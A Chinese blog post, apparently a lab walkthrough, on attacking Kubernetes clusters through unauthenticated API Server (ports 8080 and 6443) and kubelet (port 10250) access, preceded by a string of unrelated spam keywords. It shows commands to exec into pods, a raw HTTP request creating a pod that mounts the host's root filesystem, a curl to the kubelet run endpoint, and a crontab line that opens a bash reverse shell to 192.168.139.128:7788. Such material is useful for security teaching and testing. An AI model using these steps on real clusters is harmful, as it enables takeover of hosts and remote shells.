电子商务网站建设项目范围,广州住房建设部网站,网站建设设计企业,网页制作网站的大作业文章目录 K8S集群架构解释K8S集群攻击点-重点API Server未授权访问kubelet未授权访问复现k8s集群环境搭建1、攻击8080端口#xff1a;API Server未授权访问2、攻击6443端口#xff1a;API Server未授权访问3、攻击10250端口#xff1a;kubelet未授权访问 K8S集群架构解… 文章目录 K8S集群架构解释K8S集群攻击点-重点API Server未授权访问kubelet未授权访问复现k8s集群环境搭建1、攻击8080端口API Server未授权访问2、攻击6443端口API Server未授权访问3、攻击10250端口kubelet未授权访问 K8S集群架构解释
Kubernetes是一个开源的用于编排云平台中多个主机上的容器化的应用目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署规划更新维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着管理员可以加载一个微型服务让规划器来找到合适的位置同时Kubernetes在系统提升工具以及人性化方面让用户能够方便的部署自己的应用。 1、Master节点 2、Node节点 3、Pod 具体参考 https://blog.csdn.net/qq_34101364/article/details/122506768
K8S集群攻击点-重点
随着越来越多企业开始上云的步伐在攻防演练中常常碰到云相关的场景例公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破-提权-权限维持-信息收集-横向移动-循环收集信息」直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局也打开了新的入侵路径例如 1、通过虚拟机攻击云管理平台利用管理平台控制所有机器 2、通过容器进行逃逸从而控制宿主机以及横向渗透到K8s Master节点控制所有容器 3、利用KVM-QEMU/执行逃逸获取宿主机进入物理网络横向移动控制云平台 目前互联网上针对云原生场景下的攻击手法零零散散的较多仅有一些厂商发布过相关矩阵技术但没有过多的细节展示本文基于微软发布的Kubernetes威胁矩阵进行扩展介绍相关的具体攻击方法。 详细攻击点参考 https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ
API Server未授权访问kubelet未授权访问复现 k8s集群环境搭建
搭建环境使用3台Centos 7参考: https://www.jianshu.com/p/25c01cae990c https://blog.csdn.net/fly910905/article/details/120887686 一个集群包含三个节点其中包括一个控制节点和两个工作节点 master:10.10.10.167 node1:10.10.10.170 node2:10.10.10.171 最后的效果
1、攻击8080端口API Server未授权访问
旧版本的k8s的API Server默认会开启两个端口8080和6443。 6443是安全端口安全端口使用TLS加密但是8080端口无需认证 仅用于测试。6443端口需要认证且有 TLS 保护。k8s1.16.0 新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/需要手动添加这两条配置(新版本k8s) –insecure-port8080–insecure-bind-address0.0.0.0 重启k8s服务
systemctl restart kubelet.service漏洞利用
kubectl.exe -s 192.168.139.130:8080 get nodeskubectl.exe -s 10.10.10.167:8080 get podskubectl -s 10.10.10.167:8080 create -f test.yamlkubectl -s 10.10.10.167:8080 --namespacedefault exec -it test bashecho -e * * * * * root bash -i /dev/tcp/192.168.139.128/7788 01\n /mnt/etc/crontab简单分析下可以看到计划任务写入了node1主机中
2、攻击6443端口API Server未授权访问
正常情况下 一些集群由于鉴权配置不当将system:anonymous用户绑定到cluster-admin用户组从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。 kubectl create clusterrolebinding system:anonymous --clusterrolecluster-admin --usersystem:anonymous 存在漏洞 -创建恶意pods
POST /api/v1/namespaces/default/pods HTTP/2
Host: 10.10.10.167:6443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 1176{apiVersion: v1,kind: Pod,metadata: {annotations: {kubectl.kubernetes.io/last-applied-configuration: {\apiVersion\:\v1\,\kind\:\Pod\,\metadata\:{\annotations\:{},\name\:\test-4444\,\namespace\:\default\},\spec\:{\containers\:[{\image\:\nginx:1.14.2\,\name\:\test-4444\,\volumeMounts\:[{\mountPath\:\/host\,\name\:\host\}]}],\volumes\:[{\hostPath\:{\path\:\/\,\type\:\Directory\},\name\:\host\}]}}\n},name: test-4444,namespace: default},spec: {containers: [{image: nginx:1.14.2,name: test-4444,volumeMounts: [{mountPath: /host,name: host}]}],volumes: [{hostPath: {path: /,type: Directory},name: host}]}
}-连接判断pods
kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 get pods用户名密码随便输 -连接执行pods
kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 --namespacedefault exec -it test-4444 bash-上述一样
3、攻击10250端口kubelet未授权访问
环境搭建 注意是在pod节点中配置 https://10.10.10.170:10250/pods /var/lib/kubelet/config.yaml 修改authentication的anonymous为true, 将authorization mode修改为AlwaysAllow, 重启kubelet进程-systemctl restart kubelet -访问获取
https://10.10.10.170:10250/runningpods/-利用执行命令这里需要获取三个参数 namespace default pod whgojp container test-container -执行模版
curl -XPOST -k https://10.10.10.170:10250/run/namespace/pod/container -d cmdid还是在容器中后续操作同上(写计划任务)
